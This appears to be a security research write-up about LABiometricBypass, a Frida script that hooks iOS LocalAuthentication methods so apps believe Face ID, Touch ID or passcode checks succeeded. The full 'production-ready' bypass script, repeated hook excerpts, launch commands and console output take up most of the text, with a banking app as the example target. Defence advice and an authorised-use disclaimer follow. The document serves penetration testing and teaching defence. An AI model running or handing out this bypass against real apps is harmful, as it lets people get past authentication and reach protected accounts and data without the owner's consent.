LABiometricBypass: Bypassing iOS Biometric Authentication

iOS Security Biometric Authentication LocalAuthentication Frida Dynamic Analysis

A comprehensive analysis of bypassing iOS biometric and passcode authentication using dynamic instrumentation. This research explores the LocalAuthentication framework and demonstrates practical bypass techniques for security testing.

Overview

LABiometricBypass is a Frida script designed to bypass biometric and passcode authentication prompts in iOS/macOS applications using the LocalAuthentication framework. This tool specifically targets the canEvaluatePolicy:error: and evaluatePolicy:localizedReason:reply: methods, which are the core components of Apple's biometric authentication system.

What Does This Mean?

Think of it like this: Many iOS apps use Face ID, Touch ID, or device passcodes to protect sensitive features. These apps ask the device "can you authenticate the user?" and then "please authenticate the user now." LABiometricBypass intercepts these questions and always answers "yes, authentication is available" and "yes, authentication was successful" - even when no actual authentication occurred.

Why Is This Important?

  • Security Research: Allows researchers to test apps that require biometric authentication
  • Penetration Testing: Enables security assessments of protected app features
  • Development Testing: Helps developers test authentication flows without physical biometrics
  • Security Awareness: Demonstrates the importance of server-side validation

Background: LocalAuthentication Framework

How iOS Biometric Authentication Works

iOS applications implement device-level authentication controls using Apple's LocalAuthentication framework. The process typically involves two key methods:

1. Policy Evaluation Check

The canEvaluatePolicy:error: method determines whether biometric or passcode authentication is available on the device:

  • Checks if Face ID, Touch ID, or passcode is set up
  • Verifies the device supports the requested authentication type
  • Returns true if authentication can be performed

2. Authentication Execution

The evaluatePolicy:localizedReason:reply: method performs the actual authentication:

  • Displays the biometric prompt to the user
  • Handles the authentication result
  • Executes a reply closure with the success/failure status

Common Authentication Policies

LocalAuthentication Policy Types
// Common policy values used in iOS apps
LAPolicyDeviceOwnerAuthenticationWithBiometrics = 1
// Face ID or Touch ID only

LAPolicyDeviceOwnerAuthentication = 2
// Face ID, Touch ID, or device passcode

LAPolicyDeviceOwnerAuthenticationWithWatch = 3
// Apple Watch authentication

LAPolicyDeviceOwnerAuthenticationWithBiometricsOrWatch = 4
// Biometrics or Apple Watch

Implementation Pattern

Most iOS apps follow this authentication flow:

Typical Authentication Implementation
// Swift implementation example
let context = LAContext()
var error: NSError?

// Step 1: Check if authentication is available
if context.canEvaluatePolicy(.deviceOwnerAuthentication, error: &error) {
    // Step 2: Perform authentication
    context.evaluatePolicy(.deviceOwnerAuthentication, 
                          localizedReason: "Please authenticate") { success, error in
        if success {
            // Authentication successful - proceed with protected feature
            self.showProtectedContent()
        } else {
            // Authentication failed - show error
            self.showAuthenticationError()
        }
    }
} else {
    // Authentication not available - fallback to passcode
    self.fallbackToPasscode()
}

Technical Analysis

Understanding the Attack Surface

The LocalAuthentication framework provides a convenient API for biometric authentication, but it relies entirely on client-side validation. This creates a significant security vulnerability when the client environment can be manipulated.

Vulnerability Analysis

The authentication flow has two critical points of failure:

  • Policy Availability Check: canEvaluatePolicy:error: determines if authentication is possible
  • Authentication Result: evaluatePolicy:localizedReason:reply: provides the actual authentication status

Reverse Engineering the Framework

To understand how to bypass these methods, we need to analyse the LocalAuthentication framework:

1. Framework Analysis

Framework Analysis Commands
# Locate the LocalAuthentication framework
find /System -name "LocalAuthentication.framework" 2>/dev/null

# Analyse the framework binary
otool -L /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication

# Extract class information
otool -ov /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication | grep -A 10 "LAContext"

# View method implementations
strings /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication | grep -i "evaluate\|policy"

2. Method Signature Analysis

The key methods we need to understand:

LAContext Method Signatures
// LAContext class methods
@interface LAContext : NSObject

// Check if policy can be evaluated
- (BOOL)canEvaluatePolicy:(LAPolicy)policy error:(NSError **)error;

// Evaluate the policy with user interaction
- (void)evaluatePolicy:(LAPolicy)policy
       localizedReason:(NSString *)localizedReason
                 reply:(void (^)(BOOL success, NSError *error))reply;

// Additional methods
- (void)invalidate;
- (BOOL)isCredentialSet:(LACredentialType)credentialType;
- (void)setCredential:(NSData *)credential type:(LACredentialType)type;

@end

Implementation: LABiometricBypass

Development Approach

The development of LABiometricBypass involved understanding the LocalAuthentication framework and creating targeted bypasses for both authentication stages:

Phase 1: Method Identification

Based on the framework analysis, we identified the key methods to hook:

  • canEvaluatePolicy:error: Determines if authentication is available
  • evaluatePolicy:localizedReason:reply: Performs the actual authentication

Phase 2: Bypass Strategy

The bypass strategy involves two stages:

  1. Availability Bypass: Force canEvaluatePolicy to always return true
  2. Authentication Bypass: Intercept evaluatePolicy and immediately call the reply block with success

Complete Frida Script Implementation

Here's the production-ready implementation:

LABiometricBypass.js - Complete Implementation
if (ObjC.available) {
    try {
        const laContext = ObjC.classes.LAContext;

        // Hook canEvaluatePolicy:error:
        const canEval = laContext["- canEvaluatePolicy:error:"];
        Interceptor.attach(canEval.implementation, {
            onEnter: function (args) {
                const policy = args[2].toInt32();
                console.log("[*] canEvaluatePolicy called with policy: " + policy);
            },
            onLeave: function (retval) {
                console.log("[*] Bypassing canEvaluatePolicy – returning YES");
                retval.replace(1); // Force true
            }
        });

        // Hook evaluatePolicy:localizedReason:reply:
        const evalPolicy = laContext["- evaluatePolicy:localizedReason:reply:"];
        Interceptor.attach(evalPolicy.implementation, {
            onEnter: function (args) {
                const reason = new ObjC.Object(args[3]);
                console.log("[*] evaluatePolicy called. Reason: " + reason.toString());
                this.reply = new ObjC.Block(args[4]); // Save the reply block
            },
            onLeave: function (retval) {
                console.log("[*] Bypassing biometric/passcode prompt.");
                this.reply.implementation(1, ptr("0x0")); // Call reply with success
            }
        });

        console.log("[+] Frida biometric/passcode bypass hooks installed.");
    } catch (err) {
        console.error("[-] Hook error: " + err.message);
    }
} else {
    console.error("[-] Objective-C runtime is not available.");
}

How the Bypass Works

The script operates by intercepting method calls at the Objective-C runtime level:

1. Availability Check Bypass

canEvaluatePolicy Bypass
// Original app call
if (context.canEvaluatePolicy(.deviceOwnerAuthentication, error: &error)) {
    // This will always be true due to our hook
}

// Our hook intercepts the call
Interceptor.attach(canEval.implementation, {
    onLeave: function (retval) {
        retval.replace(1); // Always return true
    }
});

2. Authentication Bypass

evaluatePolicy Bypass
// Original app call
context.evaluatePolicy(.deviceOwnerAuthentication, 
                      localizedReason: "Please authenticate") { success, error in
    if success {
        // This will always execute due to our hook
        self.showProtectedContent()
    }
}

// Our hook intercepts the call
Interceptor.attach(evalPolicy.implementation, {
    onEnter: function (args) {
        this.reply = new ObjC.Block(args[4]); // Capture reply block
    },
    onLeave: function (retval) {
        this.reply.implementation(1, ptr("0x0")); // Call with success
    }
});

Key Design Decisions

Several important decisions were made during development:

1. Return Value Strategy

For canEvaluatePolicy, we return 1 (true) to indicate authentication is always available:

  • Consistency: Ensures the app believes authentication is possible
  • Compatibility: Works with all authentication policy types
  • Reliability: Avoids potential issues with different return value types

2. Reply Block Strategy

For evaluatePolicy, we immediately call the reply block with success:

  • Immediate Response: No user interaction required
  • Success Status: Always returns success = true
  • No Error: Passes null for the error parameter

3. Error Handling

Robust error handling for different scenarios:

  • Class Availability: Check if LAContext class exists
  • Method Availability: Verify methods exist before hooking
  • Runtime Availability: Ensure Objective-C runtime is available
  • Exception Handling: Try-catch blocks for unexpected errors

Usage Guide

What Does This Look Like in Practice?

Here's a real-world scenario: You're testing a banking app that requires Face ID to access account details. Without LABiometricBypass, you'd need to actually authenticate with Face ID each time. With LABiometricBypass, the app thinks you've successfully authenticated even without any biometric input.

Prerequisites

  • Jailbroken iOS device
  • Frida server running on the device
  • Frida client installed on your computer
  • Target app that uses LocalAuthentication framework

Step-by-Step Instructions

1. Install Frida

Installation Commands
# On your computer
pip install frida-tools

# On the jailbroken device (via Cydia/Sileo)
# Add Frida repository and install frida-server

2. Start Frida Server

Start Frida Server
# On the device
frida-server

3. Launch Target App

Launch with Frida
# On your computer
frida -U -f com.example.app -l LABiometricBypass.js

Expected Output

Expected Console Output
Spawning `com.example.app`...                                  
[+] Frida biometric/passcode bypass hooks installed.
Spawned `com.example.app`. Resuming main thread!               
[iPhone::com.example.app ]-> [*] canEvaluatePolicy called with policy: 2
[*] Bypassing canEvaluatePolicy – returning YES
[*] evaluatePolicy called. Reason: Please authenticate to access your account
[*] Bypassing biometric/passcode prompt.

What the Output Means

Each line provides insight into the bypass process:

  • canEvaluatePolicy called with policy: 2 - The app is checking if device authentication is available
  • Bypassing canEvaluatePolicy – returning YES - Our script forces it to return true
  • evaluatePolicy called. Reason: ... - The app is requesting authentication
  • Bypassing biometric/passcode prompt. - Our script bypasses the actual authentication

Technical Deep Dive

How Does the Bypass Work?

At its core, LABiometricBypass works by intercepting function calls in the LocalAuthentication framework. When an app tries to check if biometric authentication is available or requests authentication, our script steps in and provides fake "success" responses.

Method Hooking Mechanism

The script uses Frida's powerful hooking capabilities to intercept method calls:

canEvaluatePolicy Hook

canEvaluatePolicy Hook Details
Interceptor.attach(canEval.implementation, {
    onEnter: function (args) {
        const policy = args[2].toInt32();
        console.log("[*] canEvaluatePolicy called with policy: " + policy);
    },
    onLeave: function (retval) {
        console.log("[*] Bypassing canEvaluatePolicy – returning YES");
        retval.replace(1); // Force true
    }
});

Key Components:

  • args[2] - The policy parameter (1=biometrics, 2=biometrics+passcode, etc.)
  • onEnter - Logs the policy being checked
  • onLeave - Forces return value to true
  • retval.replace(1) - Overwrites the return value

evaluatePolicy Hook

evaluatePolicy Hook Details
Interceptor.attach(evalPolicy.implementation, {
    onEnter: function (args) {
        const reason = new ObjC.Object(args[3]);
        console.log("[*] evaluatePolicy called. Reason: " + reason.toString());
        this.reply = new ObjC.Block(args[4]); // Save the reply block
    },
    onLeave: function (retval) {
        console.log("[*] Bypassing biometric/passcode prompt.");
        this.reply.implementation(1, ptr("0x0")); // Call reply with success
    }
});

Key Components:

  • args[3] - The localized reason string shown to the user
  • args[4] - The reply block that receives the authentication result
  • ObjC.Block - Wraps the reply block for execution
  • implementation(1, ptr("0x0")) - Calls the block with success=true, error=null

Objective-C Runtime Integration

The script leverages Frida's Objective-C runtime integration:

  • Accesses ObjC.classes.LAContext to get the LAContext class
  • Uses method name strings to locate implementations
  • Works with instance methods (prefixed with -)
  • Handles Objective-C blocks for asynchronous callbacks

Security Implications

Why This Matters

The ability to bypass biometric authentication has significant security implications:

1. Client-Side Trust Issues

The LocalAuthentication framework relies entirely on client-side validation, which can be manipulated:

  • No Server Validation: The authentication result is only validated on the device
  • Runtime Manipulation: Tools like Frida can intercept and modify the results
  • No Cryptographic Binding: The authentication isn't cryptographically bound to the request

2. Threat Model Considerations

This bypass is particularly relevant in these threat models:

  • Jailbroken Devices: Users with elevated privileges can install bypass tools
  • Malicious Apps: Apps with code injection capabilities
  • Physical Access: Attackers with physical access to unlocked devices
  • Development/Testing: Security researchers and penetration testers

Defence Recommendations

To mitigate these risks, consider implementing additional security measures:

1. Server-Side Validation

Server-Side Authentication Flow
// Instead of trusting client-side authentication
if (localAuthentication.success) {
    // This can be bypassed
    showProtectedContent();
}

// Use server-side validation
if (localAuthentication.success) {
    // Send authentication proof to server
    server.validateBiometricAuth(proof) { serverSuccess in
        if (serverSuccess) {
            showProtectedContent();
        }
    }
}

2. Cryptographic Binding

Use the Secure Enclave for cryptographic operations:

  • Key Operations: Perform sensitive operations in Secure Enclave
  • Attestation: Use device attestation to verify device integrity
  • Time-Based Tokens: Implement time-limited authentication tokens

3. Additional Security Layers

  • Jailbreak Detection: Implement jailbreak detection alongside biometric auth
  • Runtime Protection: Use anti-tampering techniques to detect Frida
  • Behavioural Analysis: Monitor for suspicious authentication patterns
  • Multi-Factor Authentication: Combine biometrics with other factors

Limitations and Considerations

Technical Limitations

  • Requires jailbroken device
  • Frida server must be running
  • Only works with LocalAuthentication framework
  • May not work with obfuscated binaries
  • Some apps may have additional protection layers

Framework Limitations

The bypass only works with apps using the standard LocalAuthentication framework:

  • Custom Implementations: Apps with custom biometric implementations won't be affected
  • Server-Side Validation: Apps that validate authentication server-side are protected
  • Secure Enclave Operations: Operations performed in Secure Enclave are not bypassable

Legal and Ethical Considerations

Important: This tool is intended solely for authorised security testing and educational purposes. Always ensure you have explicit permission before testing on any applications or devices you do not own or have consent to test.

Conclusion

What We Accomplished

In this research, we:

  • Analysed the LocalAuthentication framework and its security model
  • Identified the key methods used for biometric authentication
  • Developed a Frida script that bypasses both authentication stages
  • Demonstrated the importance of server-side validation

Key Technical Achievement

The main technical accomplishment was understanding that biometric authentication in iOS works by calling specific methods that return authentication results. By intercepting these method calls and forcing them to return success, we can bypass the entire authentication process without any user interaction.

LABiometricBypass demonstrates the importance of not trusting client-side authentication blindly. While LocalAuthentication provides a convenient API for biometric authentication, its security depends heavily on the client environment remaining uncompromised.

This research highlights the importance of:

  • Implementing defence-in-depth strategies
  • Using server-side validation for critical operations
  • Understanding the limitations of client-side security
  • Regular security testing and validation

References and Further Reading